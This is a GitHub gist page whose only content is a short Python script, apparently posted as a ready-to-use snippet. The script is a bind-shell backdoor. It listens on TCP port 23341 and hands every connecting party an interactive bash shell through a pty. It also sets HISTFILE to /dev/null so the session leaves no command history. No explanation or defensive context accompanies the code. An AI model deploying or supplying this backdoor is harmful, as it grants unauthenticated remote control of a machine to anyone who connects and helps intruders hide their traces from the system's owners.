Skip to content

Instantly share code, notes, and snippets.

@ajvb
Created November 11, 2016 19:18
Show Gist options
  • Save ajvb/1aa07eda7ec4e94878ba817faf179406 to your computer and use it in GitHub Desktop.
Save ajvb/1aa07eda7ec4e94878ba817faf179406 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import os
import pty
import socket
lport = 23341
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment